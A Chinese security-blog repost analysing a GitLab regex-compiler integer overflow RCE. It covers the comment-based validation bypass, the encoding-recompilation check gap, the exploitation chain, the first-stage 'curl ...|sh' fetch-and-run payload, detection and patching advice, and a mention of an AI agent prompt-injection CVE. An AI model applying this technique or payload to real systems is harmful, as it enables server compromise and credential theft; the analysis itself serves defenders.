GitLabCVE-2026-97229满分RCE分析:一条注释骗过校验,一次重编译引爆Onigmo"

admin 2026-10-22 14:38:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

GitLab CVE-2026-97229 满分 RCE 分析:一条注释骗过校验,一次重编译引爆 Onigmo

小艾搞安全

2026年10月16日 11:04
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

编者荐语:

DDDD

以下文章来源于Kratos Sec
,作者Kratos

Kratos Sec
.

一线红队 · AI×攻防 | 代码审计 | 工具开发 | 漏洞复现 | 渗透测试
人生很长,总要为自己留点回忆。

GitLab CVE-2026-97229 满分 RCE 分析:一条注释骗过校验,一次重编译引爆 Onigmo

10 月 12 日 GitLab 发紧急补丁,CVE-2026-97229 拿到 CVSS 10.0 满分——这是一个月内的第二个(上一个是 9 月 10 日的 CVE-2026-85706 任意文件读取,本号写过分析)。这次的入口更离谱:一个写在 CI 配置里的正则表达式。字面意义上的\"配置即载荷\"。更值得玩味的是,9 月 23 日 GitLab 刚修过同一子系统的两个 RCE(CVE-2026-93577、CVE-2026-89078),而修完它们的 19.4.1,被 Rapid7 在官方镜像上完整打穿,十次全中。这篇把整条链拆开:两条校验是怎么被绕的,整数溢出怎么变成代码执行,以及\"未授权\"三个字的水分到底在哪。

0x0 漏洞概述

项目 内容
CVE 编号 CVE-2026-97229
漏洞类型 整数溢出(CWE-190)/ 未授权 RCE
CVSS 评分 10.0(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
影响组件 CI/CD Regular Expression Compiler(GitLab CE/EE)
影响版本 19.2 ≤ v < 19.2.8;19.3 ≤ v < 19.3.5;19.4 ≤ v < 19.4.2
修复版本 19.2.8 / 19.3.5 / 19.4.2(10 月 12 日)
报告者 joaxcar(HackerOne)
在野利用 截稿未确认,但 Rapid7 已在官方 CE 镜像完整复现 RCE

正则引擎是 Ruby 自带的 Onigmo(C 实现),不是 RE2。GitLab.com 已修复,Dedicated 用户无需动作,风险全部集中在自建实例。

0x1 攻击面:一个匿名可打的 lint 接口

漏洞出现在 CI 配置里 include.rules.exists.regexp 的处理链路——rules:exists 允许用正则去匹配仓库内文件路径,来决定 job 是否创建。正则由服务端编译并与仓库路径逐个匹配,这个\"编译 + 匹配\"就是全部的攻击面。

触发请求是 CI lint:

GET /api/v4/projects/{id}/ci/lint?content_ref=攻击者推送的分支

PoC 实测这个请求不带任何 token、cookie、认证头。对一个存在公开项目的实例,任何人都能发。

但要把\"未授权\"说准确,得拆成两步看。种植需要写权限:攻击者得先把恶意 .gitlab-ci.yml 和一个特殊命名的 UTF-8 文件推到某个公开项目的分支上;引爆是匿名的:lint 请求本身不需要任何身份。所以严格说这是\"投放匿名、种植需项目写权限\"。Rapid7 特意提醒:在开放自注册、允许新建公开项目的实例上,这个前提条件等于没有——随便注册个账号就补齐了。CVSS 给 PR:N 不能算错,只是要读懂它的前提。

0x2 两道校验,两次绕过

GitLab 对 CI 配置里的正则不是不设防,设了两道,都被绕了。

第一道:编译体积检查。 正则编译后的程序体积上限 1MB,防止用 a{999999} 这类量化膨胀把引擎撑爆。配套还有一个重复量词扫描器,专门检查模式字符串里的大数值量词。

绕法是利用解析器分歧。Ruby 的 Onigmo 支持 (?#...) 行内注释,编译时直接丢弃。攻击者把重复 57,805 次写成:

{5(?#)7805}

Onigmo 编译时剥掉空注释 (?#),看到的是完整的量词 {57805};而 GitLab 的扫描器在模式字符串里找量词时,被中间的 (?#) 截断,根本不认为这里存在一个五位数的大重复。同一段文本,两个解析器两个理解——这是和 OnlyOffice savetype=3、Fastjson autoType 一个家族的经典问题:校验的解析器和执行的解析器不是同一个。

第二道绕过更漂亮:让校验和执行发生在两次不同的编译上。 恶意正则最初以紧凑的 US-ASCII 编译表示通过 GitLab 的全部校验(体积 1MB 检查在这一步)。随后它被拿去和一个合法的 UTF-8 仓库路径匹配——此时 Ruby 发现目标字符串编码与正则编码不一致,Onigmo 按 UTF-8 重新编译这个正则,而重新编译发生在所有校验完成之后,1MB 检查再也不会执行。

TOCTOU 讲了二十年,讲的都是\"检查文件、用文件\"之间的窗口。这里是编码维度的 TOCTOU:检查的是 US-ASCII 编译产物,执行的是 UTF-8 编译产物,同一个模式,两个二进制。UTF-8 编译下多字节处理的展开让程序体积膨胀到检查时从未见过的规模——溢出的舞台就搭在这里。

0x3 溢出到 RCE:把 VM 变成射箭场

Onigmo 把正则编译成自己的字节码,交给内置 VM 执行。编译器内部用有符号 32 位整数累计程序体积和跳转偏移。攻击者把重复单元调到 37,151 字节、重复 57,805 次:

37,151 × 57,805 = 2,147,513,555 > INT_MAX (2,147,483,647)

超出 29,908——刻意贴着边界调的,刚好回绕。程序尺寸和分支偏移在回绕后变成攻击者可控的小值,一条分支偏移直接落进字符类 bitmap 的字节里,而 bitmap 内容是攻击者随便写的。

从这里开始是纯粹的内存利用艺术:

  1. 损坏的指令序列让 Onigmo VM 的操作数栈枢转(pivot)到攻击者控制的那条 UTF-8 仓库路径字符串上;
  2. 栈上数据被当作 VM 指令执行——攻击者在字符类里预埋了整段 Onigmo 字节码;
  3. ASLR 靠复用解释器进程内现成的指针绕过,不需要泄露任何地址;
  4. 最终到达 libruby 里的 system() 调用点,以 git 用户(uid 998)身份在 Puma worker 里执行命令。

第一阶段载荷只有 28 字节:curl -s 回调地址|sh,回调地址受 UTF-8 路径 17 字节的约束,回连后拉取完整命令并把 stdout/stderr 送回来。

0x4 复现状态与工程细节

公开 PoC 在 github.com/jburgess-r7/CVE-2026-97229-PoC,纯 Python 标准库:起回调服务、克隆目标项目、推恶意分支、发匿名 lint 请求、收执行结果。Rapid7 在官方 gitlab-ce:19.4.1 amd64 镜像上验证全链路,开 ASLR 十次全中;同样输入打到 19.4.2 无效。

几个工程细节决定了它的实战形态:

  • 内存门槛 ~9 GiB:正则程序膨胀超过 2 GiB,小内存实例直接 OOM,打不动;
  • 单次请求约 12 秒:慢,特征明显;
  • 偏移锁定构建:native 偏移绑定具体版本和架构,换个镜像 tag 就要重调,不是开箱即用的武器;
  • 失败无回显:HTTP 502 和超时都不能确认成败,盲打成本高。

这些约束把\"满分漏洞\"和\"已武器化的蠕虫\"区分开。目前 EPSS 约 0.56%,无 KEV 收录,无在野利用确认。但门槛会随时间消失——完整技术分析还没发,发了之后只会更低。

0x5 自查

版本对号。 19.2.8 之前的 19.2.x、19.3.5 之前的 19.3.x(含 19.3.4,它虽然修了 9 月的洞但没修这个,还带 Ona 集成问题)、19.4.2 之前的 19.4.x,全部在射程内。管理后台 Help 页或 cat /opt/gitlab/version-manifest.txt 查。

日志翻四类特征:

  • NGINX/网关:\\无认证头的 GET /api/v4/projects/*/ci/lint\\,query 带 content_ref 指向非常规分支——这是最硬的指纹;
  • 同一请求耗时异常(>10 秒)且最终 502;
  • 生产监控:Puma worker 崩溃重启、单请求触发数 GiB 级内存分配或 OOM kill;
  • 种植痕迹:公开项目里新出现的分支,.gitlab-ci.yml 含大段字符类嵌套的正则、仓库里有 UTF-8 特殊命名的文件。回溯窗口建议到 10 月 12 日之前。

风险面排序。 公网 + 开放自注册 + 允许新建公开项目的实例风险最高,按失陷预期处理;关闭了注册和公开项目的内网实例,暴露面收窄到\"有仓库写权限的内部账号\",仍不可忽视——CI 配置本来就是全员可写的位置。

0x6 修复与应急

升级到 19.2.8 / 19.3.5 / 19.4.2,走紧急流程,不等常规补丁周期。 19.3 线直接上 19.3.5(19.3.4 有独立问题)。注意本批含数据库迁移,参照 85706 那次的停机预案。

暂时升不了的,封演示过的投放路径: 限制匿名访问公开项目(实名/内网可见)、禁止不可信用户新建和写入公开项目。要说清楚这只是缓解——它封住的是 Rapid7 演示的种植方式,正则编译器本身的洞还在,任何能让恶意 CI 配置被编译的路径都依然可达。

怀疑中招的,升级只是第一步。 以 git 用户身份执行的命令意味着源码仓库、CI/CD 变量、runner 注册 token 全部视为已泄露:轮换所有受保护和非保护的 CI 变量、runner token、部署密钥,排查 runner 上的持久化(cron、计划任务、SSH key),审计异常分支和 MR。

0x7 两个月三枪:同一个子系统的病历

把时间线拉长看:9 月 23 日修 CVE-2026-93577(regex 编译器整数溢出,认证后 RCE,9.9)和 CVE-2026-89078(regex 解析器认证后 RCE),10 月 12 日修 CVE-2026-97229(regex 编译器整数溢出,10.0)。同一个月内,本批补丁里还有个 CVE-2026-14814(8.2)——仓库文件访问里的宽松正则导致缓存投毒泄露受保护环境变量。四枪全打在正则处理上。

97229 和 93577 几乎可以确定是同一片代码的连环修补:修第一个溢出时加固了校验,结果校验本身被 (?#) 注释和编码重编译两板斧破了。教训是结构性的:在应用层用字符串扫描去校验一个交给底层引擎编译的模式,注定被解析器分歧打穿;校验过的编译产物和实际执行的编译产物不是同一份,校验就是空话。 彻底的修法只有一种——校验和执行共用同一次编译,体积上限在编译器内部以不会溢出的宽度强制执行。

另外留意 CVSS 向量里的 S:C(scope change):代码执行发生在 Puma worker 里但影响越出了组件边界,官方也承认这是\"打穿隔离\"级别的执行。对自建 GitLab 这种沉淀着整个研发体系凭据的资产,满分不冤。

0x8 同批补丁里的其他角色

这次 19.4.2 一共修了 26 个 CVE,除主角外值得记名的:

  • CVE-2026-92883(8.7):语法高亮 XSS,恶意仓库可注入任意 JS——和本篇组合就是\"种仓库→打看代码的人\"的存储型链条;
  • CVE-2026-16301(8.5):下游流水线创建越权,绕过受保护分支限制;
  • CVE-2026-14814(8.2):上面说的正则缓存投毒泄露受保护 CI 变量,和主角互为印证;
  • CVE-2026-96893(7.3,EE):Duo Agent Platform 提示注入导致意外命令执行——AI 功能连续出现在安全公告里,值得单独观察。

一次升级全部解决。


参考

  • https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released

免责声明:本文仅用于安全研究与学习,未经授权不得用于任何非法渗透测试活动。

GitLabCVE-2026-97229满分RCE分析:一条注释骗过校验,一次重编译引爆Onigmo" 网络安全文章

GitLabCVE-2026-97229满分RCE分析:一条注释骗过校验,一次重编译引爆Onigmo"

本文深度剖析GitLabCVE-2026-97229未授权RCE漏洞(CVSS10.0),该漏洞源于CI配置正则编译器的整数溢出,攻击者通过匿名CIlint接口触发,利用解析器分歧与编码TOCTOU绕过两道校验,最终在OnigmoVM中实现代码执行。文章提供了完整利用链分析、受影响版本自查方法及升级修复建议,并指出同批补丁中其他相关CVE。
【密码学·采样】均匀模采样与中心二项分布" 网络安全文章

【密码学·采样】均匀模采样与中心二项分布"

本文深入分析格密码中均匀模采样与中心二项分布两种采样路径。直接取模因余数原像不等会产生精确可算偏差,多坐标输出会放大区分信号;范围拒绝通过删去无法平均分组的尾部恢复精确均匀,但引入可变候选消耗。中心二项利用比特组合计数制造中心峰,复用比特可在边缘正确时改变联合分布。文章强调采样接口需承诺完整目标律及多次调用关系,并关联FIPS203标准实现。
【专题报告】台海局势推演中的认知与电磁因素" 网络安全文章

【专题报告】台海局势推演中的认知与电磁因素"

该专题报告围绕台海局势推演中的认知与电磁因素展开,包含六篇研究报告,涉及认知作战体制、美对俄传播实践、兵棋推演方法、巴赫穆特战例、网电理论和电磁装备比较。报告强调区分信息失真与信息中断、检验经验适用条件、关注体系持续运行条件,并提出保留来源时点、附适用条件说明等可操作建议。
Obsius-AI——AI渗透测试工具" 网络安全文章

Obsius-AI——AI渗透测试工具"

Obsius-AI是一个AI驱动的安全研究工作台,采用多智能体协作架构,覆盖CTF解题、渗透测试、红队行动、逆向分析、IoT及恶意样本分析等场景。其核心差异点为原生Windows优先,按能力自动降级到Docker或WSL2执行隔离工作。平台包含智能体系统、黑板系统、执行网关、技能知识体系、浏览器与WebFuzzer、逆向集成及情报系统等核心子系统,并强调安全边界与开发硬约束。
评论:0   参与:  0